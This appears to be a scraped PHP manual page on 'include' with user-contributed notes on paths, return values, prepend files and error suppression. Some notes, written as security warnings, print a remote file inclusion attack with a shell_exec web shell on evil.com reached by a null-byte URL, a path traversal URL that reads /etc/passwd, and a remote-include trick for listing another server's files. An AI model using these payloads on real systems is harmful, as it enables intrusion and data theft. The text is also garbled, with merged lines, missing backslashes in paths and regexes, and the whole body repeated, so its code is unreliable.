Ошибка include не найден файл

$color

= 'зелёное';
$fruit = 'яблоко';?>

test.php
<?phpecho "Одно $color $fruit"; // Одноinclude 'vars.php';

echo

include

'vars.php';

echo

// Не сработает; file.txt не обрабатывается www.example.com как PHP

$var

= 'PHP';

return

$var;?>

noreturn.php
<?php

$var

= 'PHP';?>

testreturns.php
<?php

$foo

= include 'return.php';

echo

$foo; // выведет 'PHP'$bar = include 'noreturn.php';

echo

function

<?php# index.php
define('what', 'ever');
include 'includeFile.php';# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php# index.php (in document root (/usr/share/nginx/html))include __DIR__ . '/../src/includeFile.php';?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?phpecho 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn't include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file

Wade.

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

<?php
//get content$cFile = file_get_contents('crypted.file');//decrypt the content$content = decrypte($cFile);
//include thisinclude("data://text/plain;base64,".base64_encode($content));//orinclude("data://text/plain,".urlencode($content));?>

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:ServerSitesMySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset(

$_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

        if (

strstr($documentRoot, '/') || strstr($documentRoot, '')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '')) {
            $documentRoot = str_replace('', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

        if (

preg_match('/[^/]{1}[^/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^/]{1})([^/]{1})/', '1DIR_SEP2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

        if (

defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

        foreach (

$directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header

('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include

'/some_image.jpg';
echo 'This file was provided by example@user.com.';?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.

Test script:
-------------
<?php
require("C:elementscriptsinclude.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:elementscriptsinclude.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lementscriptsinclude.php): failed to open stream: In
valid argument in C:elementscriptsinclude.php on line 20

Fatal error: require(): Failed opening required 'C:←lementscriptsinclude.php

Solution:
-----------
Theoretically, you should be always using "" instead of "" when you write php in windows machine OR use "/" like in Linux and you should fine since "" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }$z = "FOOn";
  $z2 = &x($z);

  echo

$z2;
  $z  = "NOOn";

    echo

$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?phpfunction include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}// used like
include_all_once('dir/*.php');?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.

Consider the following:
<?php
    ini_set('error_reporting', E_ALL);

    echo

"Own value before: ";
    echo ini_get('error_reporting');
    echo "rn";

    echo

"include foo.php: ";
    include('foo.php');

    echo

"@include foo.php: ";
    @include('foo.php');

    echo

"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
    echo ini_get('error_reporting') . "rn";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767

$color

= 'зелёное';
$fruit = 'яблоко';?>

test.php
<?phpecho "Одно $color $fruit"; // Одноinclude 'vars.php';

echo

include

'vars.php';

echo

// Не сработает; file.txt не обрабатывается www.example.com как PHP

$var

= 'PHP';

return

$var;?>

noreturn.php
<?php

$var

= 'PHP';?>

testreturns.php
<?php

$foo

= include 'return.php';

echo

$foo; // выведет 'PHP'$bar = include 'noreturn.php';

echo

function

<?php# index.php
define('what', 'ever');
include 'includeFile.php';# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php# index.php (in document root (/usr/share/nginx/html))include __DIR__ . '/../src/includeFile.php';?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?phpecho 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo '<br />';
echo 'Directory of the current calling script: ' . __DIR__;
echo '<br />';
echo 'Current working directory: ' . getcwd();
echo '<br />';
echo 'including "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo 'including "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo 'including "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo 'including "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('couldn't include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file

Wade.

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

<?php
//get content

$cFile = file_get_contents('crypted.file');

//decrypt the content

$content = decrypte($cFile);
//include this

include("data://text/plain;base64,".base64_encode($content));

//or

include("data://text/plain,".urlencode($content));

?>

index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
   include('pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:ServerSitesMySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot = null;

if (isset(

$_SERVER['DOCUMENT_ROOT'])) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];

        if (

strstr($documentRoot, '/') || strstr($documentRoot, '\')) {
        if (strstr($documentRoot, '/')) {
            $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\')) {
            $documentRoot = str_replace('\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

        if (

preg_match('/[^\/]{1}\[^\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\/]{1})\([^\/]{1})/', '\1DIR_SEP\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\', $documentRoot);
    }
}
else {
    /**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
    $directories = array(
        'Includes'
    );

        if (

defined('__DIR__')) {
        $currentDirectory = __DIR__;
    }
    else {
        $currentDirectory = dirname(__FILE__);
    }$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

        foreach (

$directories as $directory) {
        $currentDirectory = str_replace(
            DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
            DIRECTORY_SEPARATOR,
            $currentDirectory
        );
    }$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header

('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include

'/some_image.jpg';
echo 'This file was provided by example@user.com.';?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.

Test script:
-------------
<?php
require("C:elementscriptsinclude.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:elementscriptsinclude.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lementscriptsinclude.php): failed to open stream: In
valid argument in C:elementscriptsinclude.php on line 20

Fatal error: require(): Failed opening required 'C:←lementscriptsinclude.php

Solution:
-----------
Theoretically, you should be always using "\" instead of "" when you write php in windows machine OR use "/" like in Linux and you should fine since "" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }$z = "FOOn";
  $z2 = &x($z);

  echo

$z2;
  $z  = "NOOn";

    echo

$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?phpfunction include_all_once ($pattern) {
    foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
    }
}// used like
include_all_once('dir/*.php');?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.

Consider the following:
<?php
    ini_set('error_reporting', E_ALL);

    echo

"Own value before: ";
    echo ini_get('error_reporting');
    echo "rn";

    echo

"include foo.php: ";
    include('foo.php');

    echo

"@include foo.php: ";
    @include('foo.php');

    echo

"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
    echo ini_get('error_reporting') . "rn";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767